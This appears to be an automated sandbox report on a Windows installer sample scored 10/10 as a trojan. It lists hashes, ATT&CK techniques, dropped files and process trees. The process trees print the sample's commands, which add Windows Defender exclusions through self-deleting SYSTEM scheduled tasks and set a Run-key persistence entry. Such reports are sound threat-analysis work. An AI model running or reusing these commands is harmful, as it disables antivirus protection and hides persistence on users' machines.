2de386cbe1e1fa22b72a5ed25d51eedf17e3c5c17cdb03649fed12ae8c7e28d3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 22:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.02.exe
Size 38.9MB
Sample261024-15f97ast8m
SHA256 2de386cbe1e1fa22b72a5ed25d51eedf17e3c5c17cdb03649fed12ae8c7e28d3
MD5 0269ee471ee58fbb7d11120ff566c18b
SHA1 df6d259386eef8a99d66e9be16be27ca6244df88
SHA512 d846c3089a304a35d6c2a21af6a0437dd9b30898afabd5f136021eba8ea248c8d87241da11a995344dbfa94646fcb0db4ce367d9d4169de65e8bf1278ca9da7b
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXR:q6chqTShW/hNbSiQfMJPLmrUlsR
TLSH
T17C97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\hLYNhv = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	UbENbW.exe

Executes dropped EXE 2 IoCs

pid	Process
5132	UbENbW.exe
4388	UbENbW.exe

Loads dropped DLL 2 IoCs

pid	Process
5132	UbENbW.exe
4388	UbENbW.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\hLYNhv\\UbENbW.exe\""	UbENbW.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1648	cmd.exe
5260	cmd.exe
3588	cmd.exe
3980	cmd.exe
5056	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	UbENbW.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\bUzPis	UbENbW.exe
File created	C:\Program Files (x86)\bUzPis\bUzPis.exe	UbENbW.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5436	cmd.exe
3912	cmd.exe
1208	cmd.exe
5452	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	UbENbW.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	UbENbW.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3400	schtasks.exe
4220	schtasks.exe
3140	schtasks.exe
3300	schtasks.exe
2856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
4884	install.2.0.02.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe
5132	UbENbW.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5132 wrote to memory of 1648	5132	UbENbW.exe	99
PID 1648 wrote to memory of 2856	1648	cmd.exe	102
PID 1648 wrote to memory of 4896	1648	cmd.exe	104
PID 1648 wrote to memory of 696	1648	cmd.exe	107
PID 5132 wrote to memory of 5260	5132	UbENbW.exe	108
PID 5260 wrote to memory of 3400	5260	cmd.exe	111
PID 5436 wrote to memory of 3484	5436	cmd.exe	113
PID 5132 wrote to memory of 3588	5132	UbENbW.exe	114
PID 5260 wrote to memory of 2808	5260	cmd.exe	116
PID 3588 wrote to memory of 4220	3588	cmd.exe	119
PID 5260 wrote to memory of 3780	5260	cmd.exe	120
PID 3588 wrote to memory of 4080	3588	cmd.exe	121
PID 3588 wrote to memory of 732	3588	cmd.exe	122
PID 3912 wrote to memory of 1112	3912	cmd.exe	123
PID 5132 wrote to memory of 3980	5132	UbENbW.exe	124
PID 3980 wrote to memory of 3140	3980	cmd.exe	126
PID 3980 wrote to memory of 5072	3980	cmd.exe	127
PID 3980 wrote to memory of 4524	3980	cmd.exe	129
PID 1208 wrote to memory of 3716	1208	cmd.exe	131
PID 5132 wrote to memory of 5056	5132	UbENbW.exe	132
PID 5056 wrote to memory of 3300	5056	cmd.exe	134
PID 5056 wrote to memory of 5160	5056	cmd.exe	135
PID 5452 wrote to memory of 208	5452	cmd.exe	138
PID 5056 wrote to memory of 260	5056	cmd.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4884

C:\Users\Public\hLYNhv\UbENbW.exe
C:\Users\Public\hLYNhv\UbENbW.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\hLYNhv\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\hLYNhv\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:260

C:\Users\Public\hLYNhv\UbENbW.exe
"C:\Users\Public\hLYNhv\UbENbW.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4388

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\hLYNhv" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5436
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\hLYNhv" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3484

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1296

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1112

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3716

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5452
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 9d6bb95670218017924a6b4dda68964face40ede53bf6d85e272f957cf41fade
MD5 1af6151fc63d24ce97bdc81d98056354
SHA1 58410c226016f7180d8711a82179d89b7b5b76c4
SHA512 6788779807c8e929dd7e0d67c50ad29ca9c144132d8ccc06e22582880e187a00d1ae32245b3999a216b355fd05f5132a1627b5dbf36a91461defe794fe4f77d2
TLSH
T16C31C6BA2FAD6E964F3A8C8119CEF1262CF6E0806CC6546B5150E4A4DF043B22F4E908
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 fb52be3949d53b73df0841ce0dc2eac041b50f3e2471a540838904a71328f8df
MD5 46290e94a65e3f07672f05ecf4ff7ee4
SHA1 b1f7942e30e50ec30d8ec139d5512031cfef8753
SHA512 a689535f9b69221b10be1d182ae427e0e198132a2e6838875c5731c998482102c38c4a1258eed67f10abd530cf4698edd57df1b00813f1b0bd4796133a87ce11
TLSH
T1AA31F8A65E3E1003DF0C4F2622D4D63B7CF5A4749CF86892683ED0AE5669BB75F81105
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 1cb0c5d057b8e4731eb8cc6b62fd95afba4f960cb1c17ddc96f4cce2eb07a432
MD5 9cb752875b0d7d1dda8158c29c78d51c
SHA1 43364946b4d4152a109ac90315caecbf5f4e0ef9
SHA512 9eef5b3b2d56c1c7aa77397afb04a850bcc91d2b70c6d57a96ccca1322fe708356a4f93d69abcdbb9ee3ca2b131c85fcbc16d298ff46c8580f88f9f3a996817e
TLSH
T1EEF05C1C0438862DF373DA3CC7CE7D9777BBE6093402859406A94F0D65879536E9267E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 e40535e905dd16de039ac27182d76fc04e8bed751980fcf586b8198800ed3f84
MD5 91503df191364c4786d0570c9dc5b79c
SHA1 122ac68613ffdad5daee4ba65fa21a0d0f5c350a
SHA512 b68e8e9da6d21a687b68eb7a7afd1751f5f3293297d22580a2104d22f7a097efa1adc6dde7e91c6504b0ea2a8da19695289bdd2df910428dd789c88fc969ce4e
TLSH
T1DEF0552553E9401BF13AA1BC8AE77E728A27F523001762AF0AA943851A91D801C4237E
MD5 SHA1 SHA512 TLSH

Submit Download

UbENbW.exe

Path C:\Users\Public\hLYNhv\UbENbW.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\hLYNhv\UxEnhance64.dll
Size 3.1MB
SHA256 0b2c2fb2292ce8edfe29809ae7ca343677535c24da27a5647cb3af47543e00e9
MD5 abdacd2c3b66fc0be4f8bdcb33258b64
SHA1 50bd350bff90fa358354020128721ec5e743f5ff
SHA512 0f0e945bc9d562d0a8ab940707dcbdb791cf14038d8ed118b74ea1f5be362006e59fe70149fc0fcdacffdcbeaafdef42d18c95789840578d94b0c5ecc2db54af
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+6:P9m29xx3Tiqt06ox6+z2rNNrKo6
TLSH
T1CEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\hLYNhv\adoresd.dat
Size 4.8MB
SHA256 2d8d8001158b3268e76b19726d43e779f728971ba172c044a6160713b039329a
MD5 47ed47f6cdacbbabd252898c7f0a72b6
SHA1 449ec78231e78a424f77efffdf8df4461e160a4c
SHA512 1a747ef4db5996899ebe4a403da0c726288551114a7f6c241bfc14d02e79cc68b12d894c858d8f4e50c909dcb09bb175a60a8ff893363d68a44a324ac35bb4d3
SSDEEP 98304:VWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:VWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1AE3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\hLYNhv\msadox.tb
Size 8KB
SHA256 7b06c6c5303bca166e7e5c1cc93d64db336f3c8bb45bed55a676def1de086cec
MD5 73c10ffa33b765ac3bb2946f6496c465
SHA1 2d64f4bdac178cc440d01c8835a95374b845c625
SHA512 d12f05ae0780bfc0066fd3353b56ede08e1f4cbc866222a299a93d3af15682321c49f2865d9df4e0cefb766ee35737320f486502b49f60f68384f6b81be85584
SSDEEP 192:jfqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
TLSH
T145029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4388-587-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-584-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-570-0x00007FF92EF30000-0x00007FF92F44E000-memory.dmp

Download

memory/4388-573-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-580-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-585-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-588-0x00007FF94C8F0000-0x00007FF94C8F2000-memory.dmp

Download

memory/4388-586-0x000002A6355F0000-0x000002A635EC7000-memory.dmp

Download

memory/4388-579-0x00007FF94C900000-0x00007FF94C902000-memory.dmp

Download

memory/4884-525-0x00007FF93E9E0000-0x00007FF93E9F0000-memory.dmp

Download

memory/4884-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/4884-524-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/4884-504-0x00007FF93E9E0000-0x00007FF93E9F0000-memory.dmp

Download

memory/4884-2-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

memory/4884-1-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/5132-536-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-557-0x000001F17FDE0000-0x000001F17FE2E000-memory.dmp

Download

memory/5132-563-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-561-0x000001F17FEC0000-0x000001F17FF4A000-memory.dmp

Download

memory/5132-566-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-558-0x000001F17FEC0000-0x000001F17FF4A000-memory.dmp

Download

memory/5132-559-0x000001F17FEC0000-0x000001F17FF4A000-memory.dmp

Download

memory/5132-560-0x000001F17FEC0000-0x000001F17FF4A000-memory.dmp

Download

memory/5132-555-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-550-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-538-0x00007FF94C900000-0x00007FF94C902000-memory.dmp

Download

memory/5132-545-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-546-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-543-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-544-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-539-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download

memory/5132-530-0x00007FF94C8F0000-0x00007FF94C8F2000-memory.dmp

Download

memory/5132-531-0x00007FF92EF30000-0x00007FF92F44E000-memory.dmp

Download

memory/5132-596-0x000001F101DB0000-0x000001F102687000-memory.dmp

Download